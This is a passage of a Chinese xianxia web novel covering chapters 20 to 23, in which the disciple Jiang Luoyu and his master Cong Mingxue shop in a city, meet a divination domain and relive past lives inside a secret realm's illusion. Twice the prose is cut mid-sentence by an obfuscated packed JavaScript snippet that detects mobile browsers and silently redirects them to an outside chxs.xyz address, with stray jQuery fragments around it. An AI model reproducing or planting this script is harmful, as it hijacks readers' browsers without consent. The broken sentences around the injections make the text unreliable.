他的呼吸不自觉开始急促,心脏也跟着泛起闷疼的感觉。 “别哭。” 眼看着手帕就要擦到脸上,姜洛玉眼中划过一丝得逞的笑意,撑起身子转身扑进丛明雪怀里,无赖道:“师尊,就让我抱一会儿。像小时候一样……” 丛明雪悬空的手,终究没能推开姜洛玉。 20.穿越第二十天 “你……为何会心悦于我?” 温情的气氛瞬间荡然无存,姜洛玉满脸无奈,挪回榻上坐好,支着脑袋想了想:“师尊,你修的是‘无情道’,就算我将心剖开给你看,你又是否能体会到其中的情意?” 丛明雪也坐回床边,抿了抿唇:“我不知道。” “无情道”几个字太过刺耳,他想要开口解释,却不知从何说起。 世人皆知药辛仙尊乃修真界无情道第一人,可无人知晓,他修的其实是——天道。 此道过于惊世骇俗,所以在他悟道自创功法之后,就对外宣称修得是“无情道”,除了已经云游的师尊无人知晓。 他并非无情,但万物在他眼里都没什么区别。 除了……当年他从三清秘境领回来的二弟子。 那种萦绕在心头、说不清道不明的情绪,让他带回了姜洛玉。 他看着姜洛玉从没他腿高的孩子,长成了现在姝丽的青年,然后……还对他生出来出格的感情。 丛明雪觉得错在自己,可是根本不知道如何处理这件事,也不知道姜洛玉嘴里的“心悦”是个什么东西。 姜洛玉打了个哈欠:“我要歇息了,师尊也早些休息。” “您只需要知道,我永远都是您的弟子。” 见人一言不发地离开,姜洛玉找了个舒服的姿势缩进被窝,又诈尸般坐起。 “无相!你今天怎么没说话?” 他这法宝自打生出灵智,嘴巴就没闲过,没人搭理也能自言自语,怎么早上吱了个声就没消息了? 被掏出来的无相球委屈巴巴:“主人,神君在你身边我不敢出声。” 姜洛玉弹了一下:“有什么不敢的,他难不成还能听见你说话?” 无相球:“对啊,只要神君在主人一丈之内,我说什么他都能听见。” 姜洛玉:“……?” 他把无相球捏起来又扯了扯,奇怪道:“你不是我的本命法宝吗?” 无相球:“因为我在下界过程中……不小心吞了点神君的神魂。” 姜洛玉倒吸一口凉气:“你一个球吃什么别人的魂魄?还有,关于你和神君为何出现在下界,把知道的、能说的都告诉我。” 无相球在姜洛玉掌心跳了跳:“当初主人把我交给神君,我就一直在药辛殿沉睡。直到有一天,神君打开了盒子,问我愿不愿意去下界帮你渡劫。” 居然猜对了,姜洛玉得知真相后心跳乱了不少,声音干涩:“继续说。” 无相球:“我说好,神君就把我揣进袖子里,带去了转生池。” “神君认识转生池的仙君,给了那仙君一储物戒的天材地宝,他就开出了一个池中池,说从那里跳下去就能直达下界而不损伤修为记忆。” 无相球停了停,姜洛玉知道,马上就要到关键之处了。 “神君带着我跳了下去,我只能看见一片漆黑,然后神君好像和什么东西打了起来,我感受到神君受伤了。” 受伤?姜洛玉神情凝重,能让一个神君受伤的……只能是另一个神君。 “过了很久,打斗才平息下来,神君身上好像少了什么东西……然后他把我拿了出来。” “我只能看清神君的脸,他把一片亮晶晶的东西塞进我的身体,我就失去了意识,再恢复神志就出现在主人丹田里了。” 无相球说着说着忿忿道:“主人居然趁我不注意又找了把本命剑,简直、简直恶劣至极!” “好了,我错了行不行?”姜洛玉有些头疼,“那你说,神君现在这个状态……是失忆还是其他什么?” 无相球:“我猜可能是失忆。” 姜洛玉也这么觉得,但又不好妄下定论,毕竟这些只是猜测。 他捏着无相球看来看去,也没看见无相球身体里多了什么东西,只好把它塞回丹田:“好了,让我一个人静静。” 静静是不可能的,躺下去之后,姜洛玉满脑子都是无相球的话。 什么“助自己渡劫”、“打斗”、“丢东西”、“神魂碎片”,事情变得更加扑朔迷离起来。 一柱香之后,神魂涌上一股倦意。 姜洛玉长叹一声,管他丛明雪到底是不是真失忆,反正一时半会儿弄不清楚,天大地大睡觉最大。 次日,日上三竿。 姜洛玉才挣扎着起床,推开门发现苗真已经带着李角坐在院内的石桌旁边了。 桌子上摆着热气腾腾的灵食,丛明雪正用着俊帅青年的外貌,一板一眼地进食。 “沈、姜大哥,快来用膳!”苗真招呼着,“这可是长平城的特色。” 看清盘子脸一堆颜色各异的灵虫后,姜洛玉:“……” 好在还有些正常食物,姜洛玉避开冒着绿气的青虫,夹了一筷子,随口道:“少主今天打算带我们去哪儿?” 苗真见姜洛玉没动那些“特色”,有些失望:“长平城最特色的就是这些灵虫了,不过看样子……两位好像不太喜欢。” 姜洛玉默不作声。 李角见状,经过苗真的允许后提议道:“少主幼时离家,对长平城的了解有限。在下倒是有几处可去的地方。” 姜洛玉放下筷子:“说来听听?” 李角:“织云街,花语巷以及……探春楼。” 姜洛玉:“去这几处都能些做什么?” 李角:“织云街上都是成衣铺,里面的法衣全都融入了云泽洲的落云,穿上去不但轻若无物,还能依据使用者的心思改变细节处的款式。” “花语巷都是些常见的灵花灵草,但胜在四季常青颜色艳丽,还能占卜吉凶,不失为一处解闷的地方。” “至于那探春楼……”李角话音一顿,“楼如起名,寻欢作乐的地方罢了。” 姜洛玉了然,当即拍板决定:“那少主我们去前两处就好,江兄意下如何?” 丛明雪点头。 踏出王家的大门,姜洛玉自然而然地又给自己捏了一张脸。 太极洲和云泽洲隔了这么远,金禾真君都能通过当年拜师大典的留影石认出他是仙尊弟子,保不准还有人能认出来。 若是仇人那可不妙,还是换一张最保险。 踏入织云街,人群熙攘。 长平城上空的结界不断接住坠落的云朵,又将白云通过阵法转移到仓库中经过特殊处理变成丝线流入城中的织坊中。 那些丝线最终会变成法衣流向整个修真界。 姜洛玉摸上织云锦就爱不释手,给自己买好衣服,又给落雪峰众人买了法衣——包括丛明雪。 “师尊,喜不喜欢这个? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740693|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”姜洛玉指了指一款罩了鲛绡,看起来布灵布灵的白色法衣,传音道。 丛明雪:“……好。” 苗真也拽着李角试来试去。 “哟,这不是王家那个废物吗?还敢回云泽洲啊,不怕让人笑掉大牙。” 姜洛玉眼睛一亮,这抑扬顿挫又贱兮兮的声音,也太炮灰了! 他连忙放下手里的法衣看过去,看见了一张……难以形容的脸。 一般来说,修士的长相没有太丑的,凡人常见的皮肤问题更是不会出现。 对面那个就不一样了,姜洛玉第一眼还以为自己看见了癞蛤蟆。这练气八层的少年,满脸痤疮,连眼皮上都没能幸免。 苗真炸了,瞬间摆出一副纨绔模样,鼻孔朝天道:“我还以为是谁,许家的火扑灭了么,你就有功夫出来乱叫?” “许家”,姜洛玉提取到关键信息,立马打起十二分精神围观两人骂架。 癞脸少年顿时怒目圆睁:“我们家的事要你管!你、你个废物就是嫉妒我比你修炼的快!” 苗真:“我看你是嫉妒我长得比你好,你撒泡尿都不敢照吧?” 癞脸少年看起来更气愤了,甚至不顾身后护卫的阻拦抡起了拳头,然后又猛地停下,露出个诡异的笑容:“呸,活该你这辈子是个废物。” 癞脸少年骂完扬长而去。 苗真也“呸”了一口,收拾好心情道:“失礼了,姜大哥……” “还是叫我沈大哥吧,两个‘姜’大哥倒是分不清叫谁了。”姜洛玉让小厮把挑中的法衣打包好,继续说,“刚才那是什么人?好生嚣张。” 苗真掏出法宝,设下个隔音结界,叹息道:“那是云泽洲四大修仙世家的许家人,许家家主唯一的孙子——许胜。” “此番天机岛推算出三清秘境将于长平城附近开启,四大世家之人就齐聚长平城。” “其实许胜以前不是这样的,我们儿时还是要好的玩伴。自从在那场大火中死里逃生后,中毒导致进阶无望,他就变成了现在这副样子。” 嘴又贱又恶毒,他恨不得揍他一顿,可想起他的悲惨遭遇又下不去手。 姜洛玉对许胜的身份有了猜测,又问道:“他父母亲呢?” 苗真一愣:“许胜的父亲死于三清秘境妖兽之口,母亲死在火中。” 都对上了,姜洛玉摸了摸储物戒,许胜所在的许家,就是许信那个“许”。 可钥匙又有什么用? 姜洛玉想不出,想起来丛明雪,直接传音问道:“师尊,从许信身上得到的钥匙究竟有什么用?” “您就别打哑迷了。” 丛明雪:“四大世家手里各有一把钥匙,合并起来能另外开启一道小门进入秘境。” “三清秘境一清为混沌,对应着秘境最外层能让人陷入幻境的迷雾海,逃不出幻境就会被海水吞噬。” “二清为阴阳,是秘境中间只有黑白二色的陆地。最后的三清天地位于秘境核心,天地境才是真正的三清秘境。” 姜洛玉被这信息量砸懵了,喃喃道:“师尊……你怎么突然说了这么多关于秘境的事情?” 丛明雪接过小厮包装好的法衣:“这些都是能在云泽洲打听到的。” 姜洛玉:“……” 他讨厌谜语人。 21.穿越第二十一天 离开织云街,众人又去了花语巷。 巷子入口很窄,踏进去才能察觉到其中暗藏玄机。 身后的景物如雾气般散去,姜洛玉停住脚步,发现自己和其他人分散了。 他站在长街上,路上没有行人,只有街两边卖花的阿婆阿公,他们身前篮子里的灵花灵草以奇异的形态拥簇在一起,像是植物根系一样盘根错节,散发出浓郁的香气。 姜洛玉没有动,他觉得有东西在窥探自己。 “娃娃,想不想要白露花啊?阿婆送你一朵。” 娃娃? 姜洛玉低头一看,发现自己不知何时变成了五六岁孩童模样。身上穿的……居然是在孤儿院时穿过的衣服。 抽丝的黑色毛衣,泛白的牛仔裤,不合脚的运动鞋。还有鼻腔里挥之不去的,孤儿院特有的泥土的腥气。 是幻境吗? 他摸了摸衣服,抬头对搭话的阿婆露出个甜甜的笑:“阿婆,什么是白露花呀?” 满头银丝的阿婆坐在马扎上,在花篮里翻找半天,最后拿出一朵拇指大小的半透明花朵递给姜洛玉。 花苞只有两片花瓣,颤颤巍巍地似乎随时都会掉下来。 “这就是白露花了。”阿婆用干枯的手碰了碰花蕊,“娃娃,你知道它为什么是半透明的吗?” 姜洛玉接过白露花,摇头道:“不知道。” “因为它每一刻都经历着死亡和新生,所以外表才处于真实和虚幻之间。” 姜洛玉拿着白露花的手不自觉握紧,下一秒,乳白色的雾气如活物般朝着两人所在的地方袭来,眼前的景象越来越模糊。 姜洛玉抓住最后的机会大声发问:“前辈,为何要给我白露花?” “代我向你师尊问好。” “啊——!” 姜洛玉落进了一个满是冷香的怀抱,他心有余悸地睁开眼,看见了丛明雪伪装过后的脸。 “师尊……”他唤了一声,故作镇定地站起,发现两人站在和幻境里一模一样的长街中央。 不一样的是这条街热闹得很,两边卖花的人男女老少都有,还有来来往往的行人。 此刻,有一半儿路人都在用探究的目光打量着他和丛明雪。 姜洛玉也知道自己从天而降有些惹眼,无视那些目光问道:“师尊,我刚才似乎是去了一处……幻境?” 丛明雪摇头:“不是幻境,是领域。” “此巷乃大乘修士领域所化,故有占卜吉凶之力,方才……你被无忧道君拉入了领域的核心之中。” “无忧道君?”姜洛玉这才想起在领域失去意识前听到的女声,“那位道君是师尊的友人吗?她托我给您带个好。” 丛明雪若有所思:“她给了你什么?” 姜洛玉:“那位前辈给了我一朵白露花,在这儿。” 伸出去的右手空荡荡的,他死死攥着的白露花消失了。 “白露花象征着死亡与新生。”丛明雪蹙了蹙眉,“你过来。” 姜洛玉听话地走过去,被丛明雪掐住手腕,冰冰凉凉的灵气顺着手腕涌进身体。 丛明雪探查几圈,最后在丹田里看见了那朵弱不禁风的白露花。 他尝试触碰,却穿了过去。 丹田处传来异样的感觉,姜洛玉为藏起来的无相球捏了一把汗。 好在丛明雪没有注意到和丹田融为一体的无相球,触碰白露花无果后,将灵力撤了出来。 “我曾救过她一命,她立下过天道誓言,断然不会害你。”丛明雪示意姜洛玉跟住自己,“这花你收着,或许之后会有奇用。” 姜洛玉好奇道:“无忧道君是命修吗?” 丛明雪:“算是。” 眼看着丛明雪又开始打哑迷,姜洛玉放弃提问,跟着他找到了苗真二人。 “沈大哥!”苗真把姜洛玉从上到下看了个遍,确认他没有受伤,“你刚才去哪儿了?” 他们一进花语巷,姜洛玉就凭空消失,吓得苗真还以为有邪修出没。 等他看见丛明雪站在巷口满脸淡定,才安心下来和丛明雪一起等。 毕竟这位实力深不可测,跟着他总没错。 之后丛明雪离开巷口,让他们等在原地,苗真还以为出了什么事,看见姜洛玉回来才放下心来。 “少主多虑了,我能有什么事?”姜洛玉将话题岔开,“还是继续逛吧。” 在花铺连续抽了五个“大凶”之后,姜洛玉脸黑得和煤炭一样。 苗真看着自己手上第三个“大吉”,把东西放了回去:“哈哈,时候不早了,不如我们先回去?” 打死他都想不到姜洛玉能连续抽到五个“大凶”啊!而且自己最近的运气怎么这么好? 姜洛玉也没想到。李角和丛明雪的说法,花语巷在占卜吉凶方面很靠谱。 他抽出的那些“凶”字,每一个都冒着黑气,明晃晃地提示他——你要倒大霉了! 没了继续逛的心情,姜洛玉点头道:“好。” 丛明雪也跟着点头。 回了王家,姜洛玉决定趁热打铁,喊住苗真:“少主,我想见一见金禾真君。” 苗真摸了摸脑袋:“沈大哥,你找我娘有很要紧的事吗?她最近和其他三家还有城主扯皮,连我都不怎么见。” 姜洛玉直接道:“关于三清秘境的事,麻烦少主了。” 一刻钟后,姜洛玉带着丛明雪出现在了会客厅。 主位之上是身着火红色襦裙的金禾真君,她依旧有些懒散地靠在椅背上,眉宇间挂着淡淡的疲倦,开门见山道:“姜小友,听说你找我是要说有关三清秘境的事情?” “自然。”姜洛玉取出钥匙和地图,撤掉上面的遮掩,“真君,您瞧这是什么?” 金禾真君感受到钥匙上熟悉的古朴气息,坐直身子,语气一沉:“你从哪儿得来的?” 姜洛玉把买鱼的事说了一遍,隐去关于许信那部分,把钥匙和地图推了过去,道:“真君,这东西……晚辈拿着就是块儿烫手的山芋。虽然不知道这钥匙是哪家丢的,但交给真君总没错。” 金禾真君盯着飘过来的东西,“噗嗤”一声笑了出来:“我就说许家那老不死的这次怎么来这么晚,原来是把开门的钥匙都弄丢了。” 放在之前,每次三清秘境开启在即,许家家主都恨不得插上翅膀飞过来,争夺第二通道主控权的时候也上蹿下跳。 她还好奇怎么许家家主没呛几声,就把主控权乖乖地交给了王家,原来在这儿等着她。 按照那老东西的歹毒心思,一定准备好了假钥匙,到时候她打不开第二通道,他就能顺势泼自己一盆脏水。 “姜小友不必多虑,这件事我来处理就好。”金禾真君满脸笑意,“五天之后三清秘境开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756456|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 启,你们跟在真儿身边,从第二通道进入第二重阴阳境就好。” 姜洛玉有些犹豫:“这……名额早就订好了吧。” 金禾真君:“说来也巧,王家此番从第二通道进入秘境的名额正好空缺了几个。” 姜洛玉拱手道:“那晚辈恭敬不如从命了。” 丛明雪也拱了拱手。 没客套上几句,下人过来趴在金禾真君耳边说了些什么。 姜洛玉看见金禾真君脸色难看,立马拉着丛明雪告辞。 这下没了后顾之忧,姜洛玉窝在房间里开启修炼模式,还麻烦李角收集了一堆关于三清秘境的消息。 五日后清晨,姜洛玉敲开了丛明雪的房门。 “师尊,你也要和我一起去吗?”姜洛玉边拍门边喊着。 “吱嘎”一声,门开了。 丛明雪抱着剑,点头道:“是。” 姜洛玉欲言又止——他想问丛明雪发现他身上有生姜气息后,为何这么执着让他回三清秘境。 可想起丛明雪不知何时多出来的“谜语人”属性,犹豫一会儿还是放弃提问。 院外苗真主仆已经等候多时了,李角也将修为压缩到了元婴期。 四人打过招呼,用了一个时辰才赶到了秘境开启之处。 姜洛玉隔着树林一眼就看到了王家所在,毕竟那红彤彤的衣服过于惹眼。 来的路上他和丛明雪也换上了同款红色法衣,姜洛玉总觉得自己现在就像一串糖葫芦。 他混在人群里找到许家的位置,果然看见看了那天的癞脸少年,最前面鹤发童颜目光锐利的老人,应当就是许家的家主了。 没看几眼,王、周、朱、许四位家主接连开始对族中弟子训话。训话之后,金禾真君拿出了四把钥匙,在其他三位家主的辅助下开启了第二通道。 在场众人各显神通,争前恐后冲进通道入口。 姜洛玉悄悄看了丛明雪一眼,拽住他的袖子,不紧不慢地也也走了进去。 又是熟悉的坠落感和一片漆黑。 姜洛玉已经对这种状态免疫了,默默等待落地重见光明。 “小杂种,是不是你用巫术指使霸王咬我的?” 姜洛玉:“……?” 这个称呼,他可是好久没听过了。 微风拂过,姜洛安对着缩在墙角的幼童啐了一口,毫无皇子形象可言。 “哎哟——殿下您别气坏了身子,奴才替您出气!”内侍跪行到姜洛安面前,先是给明显营养过剩的小皇子擦了擦脸,又对着姜洛玉啐了几下。 姜洛玉睁开眼,扶着宫墙坐起,看清周围的景象之后僵在了原地。这不是他渡劫第二世姜国的皇宫吗? 重生是不可能重生的,结合三清秘境的特性,那么此处应该就是混沌境的幻境了。可从第二通道进入,不是直接进入阴阳境吗? 混沌境的幻境依托于识海的记忆幻化而成,很难让人找出破绽。 但姜洛玉不一样,他脑子里的记忆多到爆炸,无论混沌境截取了哪一段记忆搓成幻境,他都会迅速发现异常。 按理来说,当他意识到这一切都是幻觉时,就能离开了。 但幻境怎么还不消失? 姜洛玉见自己吃得膘肥体壮的五哥挥舞着拳头过来,条件反射地想出玄衣剑砍过去。 “五殿下,贵妃娘娘在找你。” 22.穿越第二十二天 冷冽如冰泉的男声一出来,姜洛玉拔刀的手一停,任由姜洛安的拳头砸上自己。 下一刻,没有预料之中的疼痛,只有一股沁人心脾的冷香,有人把他抱了起来。 银发、青眼、玄色长袍……姜洛安看清来人竟然是国师,气焰顿时灭了一半儿,更别提国师还把那个杂种抱在怀里。 他行了弟子礼,忙道:“多谢国师告知,既然是母妃找弟子,弟子就先去了。” “哈哈,弟子只是在和六弟玩闹。” 姜国国师药辛,修者,两代帝师,曾随开国皇帝南征北战,直到姜国建成才从朝堂之上脱身成为太子之师。如今太子未立,姜国皇帝直接大手一挥,下令让所有皇子公主见了国师都要自称“弟子”。 姜洛安瞪了一眼姜洛玉,更加确信他一定是会巫术。要不然怎么刚要收拾他,国师就冒了出来? 想起母妃曾经叮嘱自己“小心国师”,姜洛安磨了磨牙,带着内侍扬长而去。 姜洛玉抬起脑袋,对上了男人葱绿色的眸子。 男人淡淡道:“殿下。” 姜洛玉眼中是遮掩不住的震惊,现在的情况和记忆里不一样,当初他被大他四岁的五皇子按在墙角揍的时候,根本没有丛明雪什么事。 他们第一次相遇应该是半年之后。那时恰逢焰火晚会,他尝试着从狗洞钻出去凑热闹。而不是相遇在冷宫附近。 “国师?”姜洛玉细声细气地开口,语气带了点疑惑。 丛明雪翻出帕子,擦了擦姜洛玉脸上的泥灰:“殿下住在哪个宫?臣送您回去。” 褐发绿眼的幼童怯生生地看着他,干瘦的手抓着他的斗篷,一言不发。 就在丛明雪准备抓个宫人过问时,才听见幼童回答。 “……冷宫。” 丛明雪蹙了蹙眉,他知道宫里有一个异域舞姬生下来的皇子,也猜到这皇子会不受皇帝待见。 但他怎么也没想到,一个皇子居然住在冷宫。身边也没有任何宫女太监跟着,甚至被自己的兄长任意欺凌。 不过今日来到冷宫附近倒是和姜洛玉有些关系。姜皇召见他,说昨日梦见怜侍人——姜洛玉的生母站在他寝殿外不声不语。 这才想起来让他进宫为怜侍人超度一番。 他去冷宫查看后,发现阴气全无,不过是皇帝做贼心虚辜负佳人,才惹来了半夜“鬼敲门”。 他本来想直接离开的,却鬼使神差地来了冷宫后面,这才看见了刚才那一幕。 缩在墙角的幼童有着一副异于姜国人的面孔,身上穿着纹样奢华却掩不住旧意的衣服。 丛明雪抚了抚姜洛玉的发顶,改了主意:“殿下想不想随我回卜星阁?” 姜洛玉:“……” 十分有十二分的不对,就算是幻境,也得基于他记忆来的,现在这么展开,难不成他觉醒导致幻境也受了影响? 他谨慎地抖着嗓子,假装无措:“我、我不知道。” “别怕,殿下先随臣回去,陛下那边臣会说清楚的。”丛明雪揉了揉幼童的脑袋,带着他离开了冷宫后的树林。 卜星阁位于皇宫内,一座七层的高楼,是当初开国皇帝为国师建立的。这么多年都是丛明雪独自居住,最多有几个洒扫的宫人。 丛明雪进门后,把姜洛玉递给掌事嬷嬷:“把他的房间安排在我的旁边。” 赵嬷嬷看见姜洛玉的时候吓了一跳,听见丛明雪的话之后更是震惊,国师怎么出去一次还带回来个皇子? 姜洛玉对着赵嬷嬷露出个笑来。 赵嬷嬷接过姜洛玉:“是,国师。奴婢这就安排。” 拒绝了赵嬷嬷帮自己沐浴,姜洛玉泡在水里开始整理得到的信息。 已知,这里是幻境——他这么肯定,不仅是因为他丹田里躺着无相球,识海里飘着玄衣剑。 更重要的原因是一路走过来,他发现宫里的宫人,只有在他看过去时,眼睛里才会出现光亮。 那过程活像纸人点睛,看出了他一身白毛汗,又因为丛明雪的怀抱安心了不少。 确认了此地是幻境,不是什么更奇葩的重生,那么随之而来的问题就是——他意识到这是幻境了,为什么还是没有破境而出? 在长平城收集到的信息可借鉴之处太少了,关于第一层混沌境幻境的消息最少,只得了一句“不破不立”。 他已经看破幻境了,却还是没出去,难不成“破”的是别的东西? 要说他这第二世有什么看不破的东西……姜洛玉面无表情地拍了拍水面,溅起一寸高的水花。 那就只有丛明雪了。 此时,丛明雪正在面见姜皇。 姜皇正在拾墨堂练字,他就站在一旁安静等待。 “老师久等了。”几息之后,姜皇放下毛笔,“不知老师前来所为何事?” 丛明雪直接道:“想必陛下心中有数。” 姜皇英俊的面容挂上几分异色,笑道:“老师料事如神,您是想留那孩子在身边吗?” 丛明雪想起在姜洛玉身上看见的冲天紫气,淡淡道:“是。” “可老师不是说过,皇室之人不得修道吗?”姜皇眼神泛起锐利的光。 丛明雪目不斜视,盯着姜皇的眼睛,道:“非是修道,只不过是留在我身边学习一些奇门遁甲,也好过悄无声息地死在深宫里。” 姜皇先一步低下头,回到桌边拟了一道草旨:“既然老师喜欢,那孩子又无缘大统,跟在老师身边也好。” 拿了御旨,丛明雪离开前深深看了姜皇一眼,道:“云霆,莫失初心。” 说完不管姜皇如何反应,拎着御旨快步回了卜星阁。 御旨被一双修长的手摊开在眼前。 姜洛玉仔细看了看上面的内容,又默默缩回被窝。 他那个便宜爹居然把他“送”给丛明雪当徒弟了。虽说他现在是个混有异族血脉的皇子无缘大统,也不至于问都不问就把他从族谱上剔出去吧。 这幻境的剧情越来越离谱了,丛明雪怎么和自我意识觉醒—— 等等,难不成如今的“丛明雪”并不是幻境所化,而是……本尊? 过于咋舌的猜想冒了出来,姜洛玉拼尽全力试图唤醒无相球,可惜现在的身体毫无灵力,他憋红了脸也没成功,只能 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他忘记自己这半年在卜星阁吃得太好,早就不是在冷宫面黄肌瘦的样子。不但腰粗了不少,个子也窜高了一些,钻狗洞当然不会向当初一样丝滑。 不过这一钻,倒是让他发现了新大陆,宫墙外是一片虚无。 幻境这种东西,特点是一切都会围绕着幻境的主人展开。他去到哪儿,哪里就是“世界中心”。 能看见虚无,就说明他不是幻境的主人。 想起半年没出过皇宫的丛明雪,还有自己眼里破绽百出的内侍宫女,真相很明显了——这是丛明雪的幻境,不是他的。 需要看破的人也是丛明雪。 那是不是可以理解为,丛明雪其实也有前两世乃至于是仙界的记忆?不然没办法解释这幻境为何是依照丛明雪的记忆幻化出来的。 不知过了多久,姜洛玉才听见微不可察的脚步声。 “殿下别怕,臣来救你。”丛明雪失笑,蹲下身子观察一番,将狗洞里的杂草和碎石清理掉,这才把姜洛玉从狗洞里拽出来。 姜洛玉连忙抓住丛明雪的袖子,可怜巴巴道:“老师,我只是想出去看一眼,听说皇城今日有焰火晚会。” 丛明雪拉起姜洛玉,替他拍了拍身上的土:“想做什么和臣说就好,殿下此举有失礼数。” 姜洛玉乖巧点头,被丛明雪抱在怀里轻松越过高墙。 果然,等丛明雪抱着他跳上宫墙,他眼里的外界就不再是一片虚无,而是万家灯火通明。冉冉升起的孔明灯和烟花交相辉映,倒映在他的瞳孔里。 两人走在热闹的长街上,姜洛玉被罩在斗篷里,深秋的凉意钻不进来。 他摸了把丛明雪柔顺的银发,等丛明雪看过来之后认真道:“老师,如果这个世界是——” 戛然失声,“假的”两个字卡在喉咙,姜洛玉默默闭嘴。 丛明雪见姜洛玉叫了自己又不吭声,疑惑道:“殿下是想吃糖人吗?” 姜洛玉:“……” 23.穿越第二十三天 最终姜洛玉得到了一个和他有几分相似的糖人。 他恶狠狠地咬着糖人的脑袋,像是对待仇人一般。幻境里已经过去半年了,丛明雪都没发现是假的,狗幻境还不让他旁敲侧击地提醒。 所以这个幻境到底有什么值得留恋还看不破的? “时候不早,殿下该回去歇息了。”丛明雪抽走姜洛玉手里的竹签,搓出点灵火将其焚烧殆尽,“赵嬷嬷留了殿下爱吃的芙蓉千丝糕。” 姜洛玉“哦”了一声,面无表情地吞下最后一口糖。他打算做个实验。 焰火节第二天,趁着丛明雪又开始“修炼”,姜洛玉再次甩掉内侍宫女来到了狗洞旁边。 他想出皇宫,除了被丛明雪带出去,只有这么一条路可以走。 狗洞看起来比昨天大了不少,他捡起地面的枯树枝,把狗洞修缮到能让他通过的样子才钻了进去。 外面依旧是一片虚无,黑漆漆的。姜洛玉钻出去一刹那,身后的宫墙消失了,他被困在了黑暗里。 极致的黑暗甚至让他看不清自己,慌乱一瞬之后,他尝试着向前行走。 一步、两步,天光大亮,他出现在了一处四处漏风的卧房里。 周围的陈列将他拉回在陈国当质子的时候。彼时陈国率先制造出了火药,在战事上一往无前,姜国大败,被陈国夺去十几座城池。 眼看着陈国军队势如破竹,姜皇一夜白头,最终派了使节前去求和。献上大把金银,又答应送去一名皇子为质,这才讨回来一半儿城池。 姜洛玉就是那个当质子倒霉蛋,陈国的质子府要多破有多破,连个下人也没有,一切都要亲力亲为。 要不是官兵把守着不让他出质子府,并且每个月还会按时送来补给物资,姜洛玉都怀疑他得去街头卖艺才能活下去。 收回发散的记忆,躺在硬邦邦的床上,姜洛玉扯开领子向里面看去,胸口满是团簇在一起的红疹,数量不是很多,但看着尤为可怖些。 居然是……他在陈国染了疫病的时候吗? 幻境发生改变,只能是幻境主人的心境发生了变化。 姜洛玉咳了咳,压下喉咙里的甜腥,头昏脑胀,艰难翻身。 他身上的疫病名为“凤凰疹”,爆发在不知名的小国。红疹的形状如同盛放的凤凰花,待到“凤凰花”爬了满脸,人也该埋了。 姜洛玉心底升起个模糊的猜测。 不过现在线索太少了,他不敢妄下定论。 “咚——咚。” 有人敲门。 “谁啊?”姜洛玉半死不活的开口。 “殿下,臣来迟了。” 身着玄色长袍的男人破门而入,长身玉立,从脚到头发丝儿都透着一股仙气。 姜洛玉看见那头银发不是很意外,虚弱道:“你……”怎么才来。 又被禁言了。 丛明雪走到床边抱起瘦弱的少年,安抚道:“殿下别怕,臣带你离开。” 姜洛玉抓着丛明雪的衣服,换了个问题:“你是谁?” 这次没有被幻境禁言,他抓着衣服的手紧了紧,意识到在丛明雪的幻境里,剧情是接不上的。 十二岁得了疫病在陈国苦苦挣扎的他,早就忘了八岁那年惊鸿一瞥的银发仙人。那时他见到丛明雪的第一眼,还以为是勾魂使过来接自己去冥界。 不过现在的展开和他记忆里的也不一样,他记得丛明雪是在凤凰疹爬到他脖子上的时候,才来陈国说要带他回去的。 现在红疹才到他胸口,时间上早太多了。 丛明雪一愣,没想到姜洛玉不记得自己,回道:“臣是姜国的国师药辛。殿下不要多想,您现在需要休息,其他的交给臣就好。” “我们马上就能回姜国了。” 姜洛玉:“……” 丛明雪到底在做什么? 明明上辈子是先替自己治好凤凰疹才帮他假死脱身的,怎么如今一见面就要带他走? 没等他发出疑问,混沌的大脑更加沉重,直接晕了过去。 再次清醒,姜洛玉发现自己坐在国师府的书房里,面前还放着刚刚写完的策论。上面逐字逐句分析着姜国今年西北部发生的蝗灾到底该如何处理。 是二十岁——三皇子宫变,姜皇病重,太子被废,同样也是他用秘药“换眼”的那年。 他来自于母亲的绿色眼珠太过有辨识性,明晃晃地告诉别人他体内混有异族血脉,只能换掉。 秘药是丛明雪调制的,至于过程,现在看来简直匪夷所思。 因为秘药缺了一味特殊的药,无法通过直接涂抹改变瞳孔颜色,只能先用刀剜去虹膜,再涂上药膏。 再过个七天七夜,他就会得到一双黑色的眼睛,副作用是视力大不如前。 姜洛玉翻了翻面前的策论,等着丛明雪出现。他记得很清楚,今天是他换眼的时候。 果不其然,没过多久书房的门就被人敲响。 “请进。”他站起来向门口迎过去,预料之中看见了丛明雪。 丛明雪手里攥着个精巧的玉瓶,那里面装着秘药。 “老师,开始吧。”姜洛玉按照记忆里开启对话,露出一个淡淡的笑。 违和感涌上心头,丛明雪握着玉瓶的手力度大了些。 他已经很久没见姜洛玉笑过了。自从前年他拒绝了姜洛玉的告白,两人一时间形同陌路,只有在批改策论、谈论宫中之事时才会有交流。 幼时曾有一个声音告诉他,不要对世间万物生出多余的情感。 丛明雪不知道是什么东西在提醒他,可就算无人提醒,他对世间一切也没什么兴趣。 修道是因为师父说他适合修道,入世当了国师,也是因为修道需要。 他在世上活了一百多年,少年人的情感对他来说太陌生了。他不懂,也无法回应。 可今天见到姜洛玉久违的笑容,丛明雪发现自己的心跳竟然乱了几分。 “老师?” 丛明雪压下异样的感觉,尽量用平静的语气说:“殿下,缺的那一味药材找到了,您不用承受换眼之苦了。” 姜洛玉哑着嗓子反问:“老师,可您不是说,最后一味药材已经绝迹了吗?” 